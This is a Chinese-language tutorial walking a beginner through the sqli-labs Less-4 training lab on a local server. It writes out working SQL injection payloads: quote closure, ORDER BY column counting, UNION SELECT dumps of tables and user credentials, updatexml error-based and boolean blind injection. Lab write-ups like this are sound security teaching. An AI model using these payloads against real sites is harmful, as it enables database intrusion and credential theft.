Sqli-Labs Less4:双引号字符型 SQL 注入详解
你作为网络安全初学者,希望我详细讲解sqli-labs-master/Less-4靶场的完整解题过程,并且拆解其中的难点知识点、补充扩展内容。Less-4是双引号+括号闭合的字符型SQL注入,和Less-3的核心区别仅在于闭合符号(Less-3是单引号+括号,Less-4是双引号+括号),但新手容易因符号混淆踩坑,下面我会从"注入点判断→闭合方式分析→信息爆破"一步步讲透,重点对比Less-3的差异,帮你举一反三。
前置知识:Less-4 核心背景
sqli-labs Less-4的后台核心SQL语句结构为:
SQL
SELECT * FROM users WHERE id=("$id") LIMIT 0,1;
和Less-3的唯一区别:参数id被("")(双引号+括号)双层包裹,而非('')(单引号+括号)。这是Less-4的核心特征,也是新手最容易出错的地方------用Less-3的单引号闭合会完全无效。
步骤1:环境确认(初学者必看)
Less-4的环境要求和Less-3完全一致,只需确认:
-
Web环境(XAMPP/WAMP)的Apache+MySQL已启动;
-
访问
http://localhost/sqli-labs-master/Less-4/,页面显示Your Sql Queries are safe now,说明靶场可正常使用; -
若未初始化数据库,先点击页面的"Setup/reset Database for labs"完成初始化。
步骤2:判断注入类型(关键:区分单/双引号闭合)
Less-4的第一个"坑"是:单引号测试无报错,容易让新手误以为没有注入点,因此需要分两步测试:
2.1 正常访问
访问URL:http://localhost/sqli-labs-master/Less-4/?id=1

页面返回:You are in...........,说明参数id=1能正常查询数据。
2.2 测试异常参数(区分单/双引号)
第一步:测试单引号(模拟Less-3的测试方式)
访问URL:http://localhost/sqli-labs-master/Less-4/?id=1'
页面无报错 ,仍显示You are in...........。
→ 说明后台不是单引号包裹参数,排除单引号闭合的可能。

第二步:测试双引号
访问URL:http://localhost/sqli-labs-master/Less-4/?id=1"

页面返回报错信息:
Plain
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1
关键分析(难点):
报错信息是判断闭合类型的核心,我们拆解:
-
后台原语句:
SELECT * FROM users WHERE id=("$id") LIMIT 0,1 -
当输入
id=1"时,代入后变成:SELECT * FROM users WHERE id=("1"") LIMIT 0,1 -
多余的双引号(
"1"")导致SQL语法错误,说明这是双引号包裹的字符型注入。
扩展:为什么单引号测试无报错?
后台参数被双引号包裹时,输入单引号会被当作普通字符处理,比如id=1'代入后是id=("1'),语法仍正确(单引号只是字符串的一部分),因此不会报错;而输入双引号会打破双引号的闭合,才会触发语法错误。
步骤3:确定闭合方式(核心难点)
从报错信息near '"1"") LIMIT 0,1'拆解:
-
原语句中
id被(和)+ 双引号包裹 →("$id"); -
输入
1"后,变成("1""),需要闭合多余的双引号和括号,让SQL语法恢复正常。
测试闭合方式:
访问URL:http://localhost/sqli-labs-master/Less-4/?id=1") --+

页面重新返回You are in...........,说明闭合成功!
难点讲解:闭合原理(对比Less-3)
| Less-3(单引号+括号) | Less-4(双引号+括号) |
闭合符:1') --+ |
闭合符:1") --+ |
原语句:id=('$id') |
原语句:id=("$id") |
具体拆解Less-4的闭合逻辑:
-
1"):用来闭合原语句的("→ 原语句前半部分变成id=("1")(双引号+括号都闭合); -
--+:MySQL注释符(--后加空格,URL中空格编码为+),注释掉后面的) LIMIT 0,1; -
最终生效的SQL语句:
SQLSELECT * FROM users WHERE id=("1") -- +") LIMIT 0,1;注释后的内容不执行,语法完全正确。
扩展:注释符的替代测试
用#(URL编码为%23)测试:http://localhost/sqli-labs-master/Less-4/?id=1") %23,页面同样返回正常,验证闭合符正确。
步骤4:爆破字段数(和Less-3逻辑一致,仅闭合符不同)
union select(联合查询)要求前后查询的字段数完全一致,因此先通过order by确定字段数:
操作步骤(闭合符用1") --+):
-
访问:
http://localhost/sqli-labs-master/Less-4/?id=1") order by 1 --+(正常)

-
访问:
http://localhost/sqli-labs-master/Less-4/?id=1") order by 2 --+(正常)

-
访问:
http://localhost/sqli-labs-master/Less-4/?id=1") order by 3 --+(正常)

-
访问:
http://localhost/sqli-labs-master/Less-4/?id=1") order by 4 --+(报错)

结论:
users表有3个字段(id、username、password),和Less-3完全一致。
知识点回顾:
order by N的作用是按第N个字段排序,若N超过表的字段数则报错,这是所有显注类靶场通用的字段数判断方法,无需记忆表结构,只需逐步测试即可。
步骤5:使用union select 爆破数据库信息
union select的核心条件:
-
字段数一致(已确定为3);
-
原查询无结果(用
id=-1让原查询返回空),页面才会显示union的查询结果。
5.1 爆破当前数据库名
访问URL:
Plain
http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,database(),3 --+

页面返回:DATABASE(): security,说明当前数据库是security。
关键解释:
-
id=-1:让原查询SELECT * FROM users WHERE id=("-1")无结果(users表无id=-1的记录); -
database():MySQL内置函数,返回当前连接的数据库名; -
1和3:占位符(填充3个字段的要求),可替换为任意数字/字符串。
5.2 爆破数据库中的表名
利用information_schema(MySQL系统元数据库)查询security库下的所有表:
访问URL:
Plain
http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+
页面返回:TABLE_NAME: emails,referers,uagents,users,核心表是users(存储账号密码)。

难点扩展:information_schema 核心逻辑
information_schema是MySQL的"数据字典",存储了所有数据库、表、字段的元信息,所有SQL注入的信息爆破都依赖这个库:
-
table_schema:对应"数据库名",需用单引号包裹(即使当前是双引号闭合的注入,这里仍用单引号,因为字符串常量在MySQL中单/双引号均可); -
group_concat(table_name):将多行表名拼接成一行,避免页面只显示第一个表(emails)。
5.3 爆破users表的字段名
查询security库下users表的所有字段:
访问URL:
Plain
http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+
页面返回:COLUMN_NAME: id,username,password,确认核心字段为username和password。

5.4 爆破users表的账号密码
最终步骤:查询users表的所有账号密码:
访问URL:
Plain
http://localhost/sqli-labs-master/Less-4/?id=-1") union select 1,group_concat(username,':',password),3 from security.users --+
页面返回(示例):
Plain
USERNAME:PASSWORD: Dumb:Dumb,Angelina:I-kill-you,Dummy:p@ssword,secure:crappy,stupid:stupidity,superman:genious,batman:mob!le,admin:admin,admin1:admin1,admin2:admin2,admin3:admin3,dhakkan:dumbo,admin4:admin4
至此,Less-4靶场的核心数据已全部爆破完成。
扩展知识点:适配Less-4的其他注入方式
若靶场过滤了union select,可采用以下方式(仅闭合符适配双引号+括号):
1. 报错注入(无显回显时)
访问URL:
Plain
http://localhost/sqli-labs-master/Less-4/?id=1") and updatexml(1,concat(0x7e,database(),0x7e),1) --+
页面报错显示:XPATH syntax error: '~security~',直接爆出数据库名。
-
updatexml():MySQL XML函数,参数错误时会报错并显示错误内容; -
0x7e:十六进制的~,用于分隔报错内容,避免和其他字符混淆。
2. 布尔盲注(无报错/无回显时)
通过判断条件真假逐字符爆破,示例:
-
判断数据库名长度:
id=1") and length(database())=8 --+(返回正常,说明长度为8); -
判断第一个字符:
id=1") and ascii(substr(database(),1,1))=115 --+(115是s的ASCII码,返回正常); -
依次爆破每个字符,最终拼出数据库名。
核心对比:Less-3 vs Less-4
| 特征 | Less-3 | Less-4 |
| 闭合类型 | 单引号+括号 ('$id') |
双引号+括号 ("$id") |
| 测试报错的符号 | id=1' |
id=1" |
| 核心闭合符 | 1') --+ |
1") --+ |
| 字段数/爆破逻辑 | 完全一致 | 完全一致 |
总结(核心关键点)
-
Less-4的核心是双引号+括号闭合的字符型注入,区别于Less-3的单引号+括号,测试时需先用双引号触发报错;
-
闭合符的核心逻辑是"匹配后台的包裹符号":后台用
(")包裹,就用")闭合,再用--+注释多余内容; -
union select、information_schema、group_concat()是显注类靶场的通用工具,仅需适配闭合符即可复用。
通过Less-4的练习,你需要掌握"根据报错信息调整闭合符号"的核心思维------SQL注入的关键不是死记闭合符,而是通过报错拆解后台SQL结构,这也是后续复杂靶场的解题基础。